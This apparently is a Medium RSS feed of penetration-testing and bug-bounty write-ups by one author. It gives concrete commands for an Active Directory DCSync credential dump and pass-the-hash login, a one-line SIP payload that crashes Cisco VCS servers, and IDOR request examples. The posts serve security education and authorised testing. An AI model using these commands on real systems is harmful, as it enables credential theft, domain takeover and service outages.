<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by JunoonBro on Medium]]></title>
        <description><![CDATA[Stories by JunoonBro on Medium]]></description>
        <link>https://medium.com/@junoonbro?source=rss-68769690ba8e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HyLpSXIA9SOnWqHACXz3VA.png</url>
            <title>Stories by JunoonBro on Medium</title>
            <link>https://medium.com/@junoonbro?source=rss-68769690ba8e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:12:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@junoonbro/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Compromised an Entire Active Directory Domain in 3 Steps]]></title>
            <link>https://junoonbro.medium.com/how-i-compromised-an-entire-active-directory-domain-in-3-steps-220ba8b550fb?source=rss-68769690ba8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/220ba8b550fb</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[JunoonBro]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 20:23:13 GMT</pubDate>
            <atom:updated>2026-03-16T20:24:37.706Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIPwXcLsN4dzAGybhmkFjw.png" /><figcaption>Nothing beats the feeling of publishing a Critical finding. Here is the final report entry for the DCSync domain takeover.</figcaption></figure><p>Hello, I’d like to share a recent experience with the community. If you have followed my blogs on penetration testing and privilege escalation, you know I consistently identify critical misconfigurations. In this post, I will demonstrate how I compromised an entire Active Directory Domain in three steps during a recent internal penetration test, due to a significant misconfiguration.</p><h3>Who am I?</h3><p>My name is Junaid Khan, also known as <strong>JunoonBro</strong>. I specialize in data leakage and access control issues. I participate in bug bounty programs on Bugcrowd and Synack, and I work full-time as a Red Teamer and Penetration Tester at ioSENTRIX.</p><p>You can connect with me on LinkedIn and X (Twitter) through the links below.</p><p><a href="https://www.linkedin.com/in/junoonbro/">LinkedIn</a> <a href="https://x.com/JunoonBro">X</a></p><h3>Introduction</h3><p>The engagement began with a phishing simulation that resulted in credentials for a standard, unprivileged domain user. At this point, I initiated a methodical approach by running BloodHound, examining attack paths, and identifying opportunities.</p><p>However, sometimes a significant vulnerability is immediately apparent.</p><p>During an audit of the domain’s <strong><em>Access Control Lists (ACLs)</em></strong>, I identified a critical flaw: the organization had granted the <strong>“Everyone” group (SID: S-1–1–0)</strong> the <strong>ControlAccess</strong> (<em>Extended Rights</em>) permission on the Domain Root.</p><p>In Active Directory, granting <strong>ControlAccess</strong> at the domain root level effectively grants rights like <strong><em>DS-Replication-Get-Changes</em></strong> and <strong><em>DS-Replication-Get-Changes-All</em></strong>. These are the exact permissions required to perform directory replication, a capability strictly intended for Domain Controllers.</p><p>Because the <strong>“Everyone”</strong> group includes all authenticated users, our compromised account immediately gained full domain-level access. The following outlines the three steps I used to achieve domain compromise.</p><h3>Step 1: Identify the Misconfiguration</h3><p>After gaining an initial foothold through phishing, I began enumeration to assess configurations and policies. BloodHound quickly revealed that the standard user had excessive rights. To confirm this, I used <strong>nxc (NetExec)</strong>, a tool for interacting with LDAP and analysing directory permissions.</p><p>I ran the <strong>daclread</strong> module against the Domain Controller to pull the <strong>Access Control Lists (ACLs)</strong> for the domain root, filtering specifically for the <strong>“Everyone”</strong> group and the ControlAccess right:</p><pre>nxc ldap DCIp -u &#39;CompromisedUserName&#39; -p &#39;CompromisedUserPassword&#39; -M daclread -o TARGET_DN=&quot;DC=redacted,DC=com&quot; ACTION=read | grep -Ei &quot;Everyone|ControlAccess&quot; -B 2 -A 5</pre><p>This command binds to LDAP with the compromised credentials and reads the <strong>Discretionary Access Control List (DACL)</strong> of the target domain (DC=redacted,DC=com). The <strong>grep</strong> command filters the output to show only relevant information. Observing that <strong><em>ControlAccess</em></strong> is assigned to <strong>Everyone</strong> confirmed that any authenticated user could request the Domain Controller to replicate its secrets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLxQPtXybF19_IGFm3Z40w.png" /><figcaption>Spotting the exact moment I realise the “Everyone” group has the keys to the domain root.</figcaption></figure><h3>Step 2: Extract Credential Hashes via DCSync</h3><p>With excessive rights confirmed, I proceeded with a <strong>DCSync attack</strong>, which mimics a Domain Controller. When a replication request is sent, the Domain Controller checks only for required permissions, not server identity. Since these permissions were present, they provided password hashes for any requested account.</p><p>To execute this, I used Impacket’s secretsdump.py:</p><pre>impacket-secretsdump &#39;redacted.com/CompromisedUserName:CompromisedUserPassword@DCIp&#39;</pre><p>The tool connects to the Domain Controller over the <strong><em>DRSUAPI</em></strong> (Directory Replication Service Remote Protocol) using low-privilege credentials, requests replication of user credentials, and dumps the NT hashes of all domain users. I focused on two critical accounts: the built-in <strong><em>sysadmin(Domain Admin)</em></strong> and the <strong><em>krbtgt</em></strong> account, and copied the NTLM hash for the sysadmin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQMfvotgDojFw66zRoBe5w.png" /><figcaption>Executing a successful DCSync attack to extract the domain’s crown jewels, including the sysadmin and krbtgt hashes.</figcaption></figure><h3>Step 3: Establish Domain Controller Access</h3><p>With the NT hash for a highly privileged Domain Admin account, I used the Pass-the-Hash (PtH) technique to authenticate directly. This method allows using the hash without cracking the password.</p><p>To establish an interactive session on the Domain Controller, I launched <strong><em>evil-winrm</em></strong>. Within seconds, my terminal displayed the <strong><em>PS C:\Users\sysadmin\Documents&gt;</em></strong> prompt, confirming that I had access.</p><pre>evil-winrm -i DCIp -u sysadmin -H &lt;CAPTURED_NT_HASH&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GWKwH-IWqrSvpyrQb5shQg.png" /><figcaption>Successfully establishing an interactive session on the DC with Pass-the-Hash technique.</figcaption></figure><h3>Closing</h3><p>I hope you found this post informative, especially if you are new to Active Directory pentesting. If you have any questions or would like to discuss further, feel free to connect with me on <a href="https://www.linkedin.com/in/junoonbro/">LinkedIn</a> and <a href="https://x.com/JunoonBro">X</a> .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=220ba8b550fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Performing CVE-2020–3596 in Four Steps: Crashing Cisco VCS via SIP]]></title>
            <link>https://junoonbro.medium.com/performing-cve-2020-3596-in-four-steps-crashing-cisco-vcs-via-sip-42059155037e?source=rss-68769690ba8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/42059155037e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[JunoonBro]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 04:06:22 GMT</pubDate>
            <atom:updated>2025-12-15T04:06:22.113Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Disclaimer:</strong> <em>The following information is for educational purposes only. The testing described below was performed during an authorized penetration test with explicit permission. Never perform denial-of-service (DoS) attacks on networks or systems you do not own or have permission to test.</em></p><h3><strong>Context:</strong></h3><p>Automated scanners are the bread and butter of initial reconnaissance, but every pentester knows the real work begins where the scanner ends.</p><p>During a recent authorized external pentest, I encountered an interesting finding: a <strong>Cisco Expressway/VCS server</strong> exposed on the perimeter. Nessus flagged it as potentially vulnerable to <strong>CVE-2020–3596</strong>.</p><p>However, a flag in a report isn’t a confirmed risk. Clients need proof, and scanners can generate false positives. I needed to manually validate the vulnerability to confirm the risk without relying on “maybe.” Here is the walkthrough of how I manually validated this DoS vulnerability.</p><h3>What is CVE-2020–3596?</h3><p>Before firing off packets, it is crucial to understand the target. CVE-2020–3596 is a Denial of Service (DoS) vulnerability affecting the <strong>Cisco TelePresence Video Communication Server (VCS)</strong> and <strong>Expressway Series</strong>.</p><p>The issue lies in how the SIP (Session Initiation Protocol) module handles incoming packets. An unauthenticated, remote attacker can send specially crafted SIP messages that trigger a memory exhaustion or buffer overflow condition, causing the SIP service to crash.</p><p><strong>The Impact:</strong> No credentials are required. One packet can stop the organization from receiving or making video calls.</p><h3>Phase 1: Service Identification</h3><p>My first instinct was to confirm the service was actually there and listening. I fired up nmap to check if port 5060 (standard SIP port) was open and to identify the specific service version.</p><pre>nmap -sV -p 5060 [target_ip]</pre><p><strong>The Result:</strong> The scan confirmed the port was open and identified it as a <strong>Tandberg VoIP server</strong> — the underlying technology for Cisco’s video communication service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFGD8XhK3wt1FJaoMsnCQQ.png" /><figcaption>Servie Identification</figcaption></figure><h3>Phase 2: Establishing a Baseline</h3><p>Numbers on a screen don’t tell the whole story. Before attempting the exploit, I needed to see how the server behaved under <em>normal</em> conditions. If the server was already unstable, my DoS test would be inconclusive.</p><p>I crafted a simple <strong>SIP OPTIONS</strong> request. In networking terms, this is the equivalent of knocking on the door and asking, “Hello, are you there?”</p><pre>echo -e &quot;OPTIONS sip:[target] SIP/2.0\r\nVia: SIP/2.0/UDP [source]:5060;branch=z9hG4bK776asdhds\r\nTo: &lt;sip:[target]&gt;\r\nFrom: &lt;sip:test@[source]&gt;;tag=4938284\r\nCall-ID: 123456@[source]\r\nCSeq: 1 OPTIONS\r\nContact: &lt;sip:test@[source]&gt;\r\nMax-Forwards: 70\r\nUser-Agent: PenTestTool\r\nAccept: application/sdp\r\nContent-Length: 0\r\n\r\n&quot; | nc -u -w 3 [target] 5060</pre><p><strong>The Result:</strong> The server responded promptly with a status code (likely 200 OK or similar). This confirmed the SIP service was healthy and processing requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DP-DudWmTzj8IIggoBUqlA.png" /><figcaption>Option request</figcaption></figure><h3>Phase 3: The Exploit (Sending the Payload)</h3><p>With the baseline established, it was time for the main event.</p><p>The vulnerability documentation suggests issues with handling oversized packets. I decided to construct a malicious SIP INVITE request containing a massive string of 5000 &#39;A&#39; characters. This is a classic buffer overflow/fuzzing technique designed to overwhelm the input parser.</p><p>Using Python to generate the payload and piping it into Netcat:</p><pre>python3 -c &quot;print(&#39;INVITE sip:test@[target] SIP/2.0\r\n&#39; + &#39;A&#39; * 5000)&quot; | nc -u -w 1 [target] 5060</pre><p>I sent the packet and waited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7YyzesR5dA7OD6QFb1zPg.png" /><figcaption>Payload POC</figcaption></figure><h3>Phase 4: Validation and Impact Analysis</h3><p>The moment of truth. Did the packet bounce off, or did the service buckle? I immediately ran another nmap scan against port 5060.</p><pre>nmap -p 5060 [target]</pre><p><strong>The Result:</strong> STATE: closed (or filtered/unresponsive).</p><p>The port that was chatty just moments ago had gone completely silent. The exploit was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzUVVBqm7dUkBVl2gYv0gg.png" /><figcaption>Successful validation of exploit</figcaption></figure><h3>Conclusion</h3><p>This validation demonstrates why manual testing is essential. While Nessus gave me the hint, the manual execution provided the concrete proof required to elevate the finding from a “theoretical risk” to a “demonstrated vulnerability.”</p><p>The fact that this exploit requires <strong>no authentication</strong> and can be performed remotely with a single line of code makes it a high-priority fix for any organization relying on Cisco video infrastructure.</p><p>Thanks to AI for the help :)</p><p><em>Happy Hunting!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42059155037e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$$$$ IDOR’s — How to find IDORs in Ecommerce sites?]]></title>
            <link>https://junoonbro.medium.com/idors-how-to-find-idors-in-ecommerce-sites-d112bd946fcf?source=rss-68769690ba8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d112bd946fcf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[JunoonBro]]></dc:creator>
            <pubDate>Fri, 17 Feb 2023 15:00:27 GMT</pubDate>
            <atom:updated>2023-02-17T15:00:27.657Z</atom:updated>
            <content:encoded><![CDATA[<h3>$$$$ IDOR’s — How to find IDORs in Ecommerce sites?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIRlYPqF4zWN5hBwFFW97Q.png" /></figure><h3><strong>Introduction:</strong></h3><p>In the world of ecommerce, it is crucial to have strong security measures in place to protect sensitive information and prevent fraudulent activity. However, one type of vulnerability that is often overlooked is Insecure Direct Object Reference (IDOR). IDOR vulnerabilities occur when an attacker is able to access or modify sensitive data by directly referencing an object without any authorization.</p><p>As ecommerce sites often handle large amounts of personal and financial information, it is important to recognize the potential for IDOR vulnerabilities and take steps to prevent them.</p><p><strong>Areas in Ecommerce Websites Vulnerable to IDOR Attacks:</strong></p><p>There are several areas in ecommerce websites that are particularly vulnerable to IDOR attacks. These include:</p><ul><li>Order status: An attacker may be able to access or modify the status of orders that do not belong to them.</li><li>Order history: An attacker may be able to view or modify the order history of other users.</li><li>Account details: An attacker may be able to access or modify personal information such as email addresses or payment methods.</li><li>PDF download: An attacker may be able to download PDF files or order status of other users.</li></ul><p>If you are aware of other areas, don’t forget to mention in the comment section :)</p><h3>Description of areas in ecommerce websites that are prone to IDOR attacks:</h3><p>In ecommerce websites, there are several areas that are particularly prone to IDOR attacks. These areas include:</p><ul><li>URLs that include a reference to a user’s private data, such as order numbers or account IDs.</li><li>Pages that allow users to view or modify their own data, such as order status or account details.</li><li>Pages that generate dynamic content, such as PDF downloads.</li></ul><p>If these areas are not properly secured, an attacker can use IDOR attacks to gain unauthorized access to sensitive data, modify order statuses, and more.</p><h3><strong>Explanation of how IDOR attacks can occur in these areas:</strong></h3><p>IDOR attacks occur when an attacker can directly reference a sensitive object without any authorization. In ecommerce websites, this can occur when a page or URL includes a reference to private data, but does not properly check the user’s authorization to access that data.</p><p>For example, a page that allows users to view their own order history may include a URL that looks like this:</p><p><a href="https://example.com/account/orders/12345">https://example.com/account/orders/12345</a></p><p>If an attacker simply changes the order number in the URL to another user’s order number, they may be able to view that user’s order history without proper authorization.</p><p><strong>My Recent Experience Testing Ecommerce Sites:</strong></p><p>During my recent experience testing ecommerce sites, I discovered two IDOR vulnerabilities in an ecommerce website. These vulnerabilities allowed me to access other users’ order history and download PDF files and order status for other users.</p><p>These vulnerabilities were both related to improper authorization checks on URLs that included references to private data. By modifying these URLs, I was able to gain access to sensitive data that should have been protected.</p><h3><strong>Overview of recent experience testing ecommerce sites:</strong></h3><p>During my recent experience testing ecommerce sites, I had the opportunity to analyze the security of various ecommerce websites. While some websites had robust security measures in place, others had vulnerabilities that could be exploited by attackers.</p><h4><strong>Discovery of two IDOR vulnerabilities in an ecommerce site:</strong></h4><p>During my testing, I discovered two IDOR vulnerabilities in an ecommerce website. These vulnerabilities allowed me to access other users’ order history and download PDF files and order status for other users.</p><p>The vulnerabilities were related to improper authorization checks on URLs that included references to private data. By modifying these URLs, I was able to gain access to sensitive data that should have been protected.</p><p><strong>IDOR Vulnerability in Account History Page:</strong></p><p>One of the IDOR vulnerabilities I discovered was related to the account history page on the ecommerce website. This page allowed users to view their own order history by providing the order number in the HTTP request.</p><p>However, by changing the value of the “orderno” parameter in the HTTP request, an attacker could access the order history of other users. For example, an attacker could use the following HTTP request to access the order history of another user:</p><p>GET /account.php?history=y&amp;orderno=10425128 HTTP/2</p><p>By exploiting this vulnerability, an attacker could potentially access sensitive information about other users, such as their order details and shipping address.</p><p><strong>IDOR Vulnerability in PDF Download Feature:</strong></p><p>The second IDOR vulnerability I discovered in the ecommerce website was related to the PDF download feature. The website allowed users to download a PDF file of their order details by accessing the URL https://example.com/pdf/&lt;orderno&gt;.pdf.</p><p>However, by changing the order number in the URL to another user’s order number, an attacker could download the PDF file for that user’s order. For example, an attacker could use the following URL to download the PDF file for another user’s order:</p><p><a href="https://example.com/pdf/10425128.pdf">https://example.com/pdf/10425128.pdf</a></p><h3>Conclusion:</h3><p>In this article, we discussed IDOR (Insecure Direct Object Reference) vulnerabilities in ecommerce websites. These vulnerabilities can occur when an attacker can access and manipulate data without proper authorization checks. We identified two areas in ecommerce websites that are particularly vulnerable to IDOR attacks: account history pages and PDF download features.</p><p><strong>Encouragement for ecommerce websites to take steps to prevent IDOR attacks:</strong></p><p>Ecommerce websites should take steps to prevent IDOR attacks by implementing proper authorization checks and secure coding practices. This can include measures such as access controls, input validation, and output encoding. Regular security testing can also help identify vulnerabilities and ensure that websites remain secure over time. By taking these steps, ecommerce websites can reduce the risk of IDOR attacks and better protect their users’ sensitive information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d112bd946fcf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I got a $10,000 Penetration Testing Project/Job with Bug Bounty]]></title>
            <link>https://junoonbro.medium.com/how-i-got-a-10-000-penetration-testing-project-job-with-bug-bounty-b38ab4357ce4?source=rss-68769690ba8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b38ab4357ce4</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[business-strategy]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[JunoonBro]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 09:57:49 GMT</pubDate>
            <atom:updated>2022-08-07T09:59:09.994Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psxBqRbg073tHN_apuhAiA.png" /><figcaption>PO Image</figcaption></figure><h3><strong>Introduction:</strong></h3><blockquote>My name is Junaid Khan aka JunoonBro on Twitter &amp; LinkedIn. I am a Bug Bounty Hunter since December 2019 &amp; most of the community members know me for my Privilege Escalations Vulnerabilities. I previously shared my write-up for <a href="https://junoonbro.medium.com/how-i-earned-9000-with-privilege-escalations-b187d1f8f4fe?source=user_profile---------0----------------------------">How I earned $9000 with Privilege escalations</a> and it was great to see you guys appreciating my work and my sharing with the community. This gives me the interest to share another story, Where I got a <strong><em>$10,000 Penetration Testing Project </em></strong>with the help of Bug Bounty. This write-up will help you to understand your client’s <strong>(External Bug Bounty Program)</strong> business, technical functions, and goals and will help you pinpoint the ideal approach for their security needs which can lead us to the Pentest Project or Penetration Testing Job.</blockquote><p><strong>External Bug Bounty Programs:</strong></p><p>As a bug bounty hunter, I prefer to take a different path when it comes to bounty hunting. While doing Bug Bounty Hunting on Bugcrowd, I also prefer to search for those applications that do not have any formal bug bounty mechanism. I find them via Google and other resources and then approach them with a request to work on their domain.</p><p><strong>Now here is the Key Point: How to work for them?</strong></p><p>If you are looking for a remote job as a penetration tester or pen-test project, make sure to provide genuinely valuable findings to the company and tell them how much important you are to them via your findings.</p><p>The second thing to do is that always focus on your delivery style. Delivery is one of the most important parts which reflect your efforts towards the client. I have many friends who put tons of time into finding the issue but when it comes to reporting, they just copy and paste stuff for that. Make sure to customize your report style, give it a couple of pictures with a black outline, and mark some arrows in the report for a better understanding, tell them friendly that what you find. and how it can be impactful for the company.</p><p>Note that, Small companies don’t have a proper team for handling such issues, they will rely on you and there are chances too for rejecting XSS vulnerability because they don’t understand.</p><h3><strong>How to Approach BB Client For Penetration Testing Project or Job?</strong></h3><p>1. First find a target for yourself according to your interest in work. Make sure that the target doesn’t have a formal bug bounty mechanism and search on Crunchbase for the target funding and investment. This will give you the idea that either target has the potential or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*fAwPsxAv3JWAdsq60J7lFw.png" /><figcaption>Crunchbase Profile Example</figcaption></figure><p>2. Now email them on support or any other email which you can find on <a href="https://hunter.io/">Hunter.io</a> by giving the target URL. It will give you a list of emails specifically related to the target company. Search for the Executive emails like CEO, CTO, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*-r1D2iCHJ2DCSmUSnz7EJw.png" /><figcaption>Crunchbase Contact List For Target</figcaption></figure><p>3. Now send them a friendly email that you are an independent security researcher and want to work on the domain for finding the security vulnerabilities. You can generate catchy and interactive email content with <a href="https://www.copy.ai/">Copy.ai</a>. This will generate attractive and professional content for you on specific keywords for your email.</p><p>4. Usually companies pay for the bug reports. I don’t ask for compensation or rewards, As I mentioned choose the target which has the potential. So, I usually select the target which I think has the potential to compensate for good work or efforts.</p><p>5. Now send your findings one by one with the proper delivery of the report. Make sure to report those bugs which are genuinely affecting the organization’s integrity and tell them how impactful the issue is. I am saying again that your report should stand professional and outclass. Your report will be the decision maker for your next approach which is a Monthly Job role as a Penetration Tester or Project for a particular period.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*wh7wTCmZpmKkWqnWXtc5Dg.png" /><figcaption>Reported Vulnerabilities</figcaption></figure><p>6. On another day, they compensate me for my reports and rewarded me with $150 for each. I opened the copy.ai and generated a thanks email.</p><p>7. Now it’s time to approach the target for a project or a job role in the company. It will be great if you can send one more vulnerability report with the email where you are approaching or convincing the client for a project or job role. Open the copy.ai and make a good catchy convincing email where you are asking for the job, as you can see below in the image where I am convincing my client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTca2392vZYTosYBggeWhQ.png" /><figcaption>Email for convincing the client of the job role</figcaption></figure><p>8. After doing these all steps, there are chances that you will have the project or job role in the target company</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MSsTOaw-2GlZTy6LcI9DPw.png" /><figcaption>After joining the organization as a penetration tester</figcaption></figure><h3><strong>Conclusion:</strong></h3><p>I aimed to tell you how I got the work with a bug bounty. You can make this process more spicy and creative. It depends on you how to see things for yourself in a productive manner. My salary increased with one more day of work last month because I genuinely provide my services and the importance of my existence for them as a Penetration Tester.</p><p><strong>Follow Me:</strong></p><p><a href="https://twitter.com/JunoonBro">https://twitter.com/JunoonBro</a></p><p><a href="https://www.linkedin.com/in/junoonbro/">https://www.linkedin.com/in/junoonbro/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b38ab4357ce4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I earned $9000 with Privilege escalations]]></title>
            <link>https://junoonbro.medium.com/how-i-earned-9000-with-privilege-escalations-b187d1f8f4fe?source=rss-68769690ba8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b187d1f8f4fe</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bugsbounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[saas]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[JunoonBro]]></dc:creator>
            <pubDate>Wed, 16 Feb 2022 11:04:34 GMT</pubDate>
            <atom:updated>2022-02-16T11:27:14.894Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*aR7yOomxfh91E_Ywx8iPvw.png" /><figcaption>Some of my bounties</figcaption></figure><p>Hello Community, It’s my very first time that I am sharing my experience and knowledge with you guys and I hope it will add some values to your Bug Bounty journey. Please don’t mind any mistake as I am sharing for the first time ❤</p><p><strong>Who I am?</strong></p><p>My name is Junaid Khan aka JunoonBro, Founder &amp; Acting CEO of <strong>Security Foster. </strong>I started my Bug Bounty Journey in 2020 and received my first bounty at 14 Jan 2020. I mainly focus on <strong>Data Leakage &amp; Access Control </strong>because it give me some different crazy feelings and confidence on work. I do Bug Bounty as a Part Time hobby now as I am having a Cyber Security Solution startup here in my country <strong>PAKISTAN ❤</strong></p><p><strong>What is Privilege escalations?</strong></p><p>Its simple mean breaking logic of the application and getting illicit access of raised freedoms, or honors, past what is planned or entitled for a utilization.</p><p><strong>How I was able to Find Privilege escalations?</strong></p><ol><li><strong>Methodology One</strong></li></ol><p>So lets consider that target name <strong>site.com. </strong>The main aim of the site.com was to fast the process of Video Editing with team collaboration. site.com has multiple roles in the project like <strong>Owner, Team Member, Collaborator etc </strong>where Owner is a <strong>Super Admin </strong>&amp; Collaborator is <strong>simple user</strong> with limited access in the project.</p><p>I created two accounts, One for Owner where i created a Project and invite collaborator in the project which was my second account.</p><p>Now listen, Owner is able to create <strong>Private Folder, Private File, Review Link &amp; Presentation </strong>in the project which is not accessible to collaborator.</p><p>So, there was a search bar in the project for both Owner and Collaborator as you can see below;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*AjeZxc5lhUiBZL4ZWNJVXg.png" /><figcaption>Search bar</figcaption></figure><p>I fired up a Burp Proxy and randomly type “abcdef” and capture the request for further inspection. Below is the captured request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*j1OtXkqbiSFjtsiW13lMRw.png" /><figcaption>Vulnerable Request</figcaption></figure><p>On proceeding the request, I got <strong>200 OK </strong>only, After playing and inspecting the request a lot, I came across to a very crazy bypass which were leaking <strong>Owner Private Information &amp; Invite Links for Reviews &amp; Project</strong></p><p>The <strong>q </strong>parameter in the request is responsible for taking the search query and when I removed the search query from the <strong>q </strong>parameter and proceed the request so It leak me all the <strong>Owner Metadata and Invite Links </strong>as you can see below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*RnmGUQemgoQbcIk_1IK_rQ.png" /><figcaption>Request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*HYVQyTUVWOxlwuqL-MoCjA.png" /><figcaption>Response (Owner data leaking)</figcaption></figure><p>This approach is always my favorite, Where you don’t need or have to look for ID’s or UUID’s of Victim or Target and bounty for this was mentioned in the next image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*jt0fg4LAR6dnEE-4lWX_5w.png" /><figcaption>Bounty Recived</figcaption></figure><p>There were two more endpoints which were associated with <strong>Search </strong>request and both of them were vulnerable with same issue but <strong>DATA</strong> were different but sensitive as same.</p><p><strong>2. Methodology Two</strong></p><p>Now let’s come to the second part of hunting, I have gathered all the <strong>endpoints</strong> of <strong>Owner </strong>which were restricted to <strong>Collaborator </strong>by using Owner site of the project.</p><p>Now, it’s time to try each and single request with <strong>Collaborator</strong> account but wait, there is something which is very important to understand in this case. Every <strong>project is </strong>having a unique UUID and this unique were same for every participant in the project either it is Owner, Team Member and Collaborator.</p><p>So, Now there is no tension for UUID, We have to just use restricted endpoints from collaborator request or account and you will not believe, There were multiple endpoints which were leaking sensitive <strong>Data </strong>to collaborator, as you can see below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*jSBYtmzEWzLQEk8Q96VZ7w.png" /><figcaption>Bounties ❤</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*wEHCnOZmV-A2F7ASk3p6iA.png" /><figcaption>Bounties ❤</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*u9XX-CA_U7HRLkHYK2s9kQ.png" /><figcaption>Bounties ❤</figcaption></figure><p>For finding more endpoints, You have to always look for <strong>JS Files, </strong>Try to understand the pattern and you will for sure find more and more endpoints.</p><p><strong>CONCLUSION</strong></p><p>This writ-up is not for showing my <strong>B</strong>OUNTIES, It’s for pushing your limits and thinking out of box. There are multiple ways to break the <strong>Mechanism </strong>but it all required your creativity and passion for the work. I user very few tools and i don’t use every tool without proper understanding and I don’t want to run in the race blindly.</p><p>I must say Thank You to my brother <a href="https://medium.com/u/d11a5a46a7a4">Bilal Khan</a> for being nice and supportive mentor in this journey ❤</p><p>I hope this blog post will give some value addition to your Bug Bounty Journey. You can follow me for more on Twitter and LinkedIn at JunoonBro</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b187d1f8f4fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>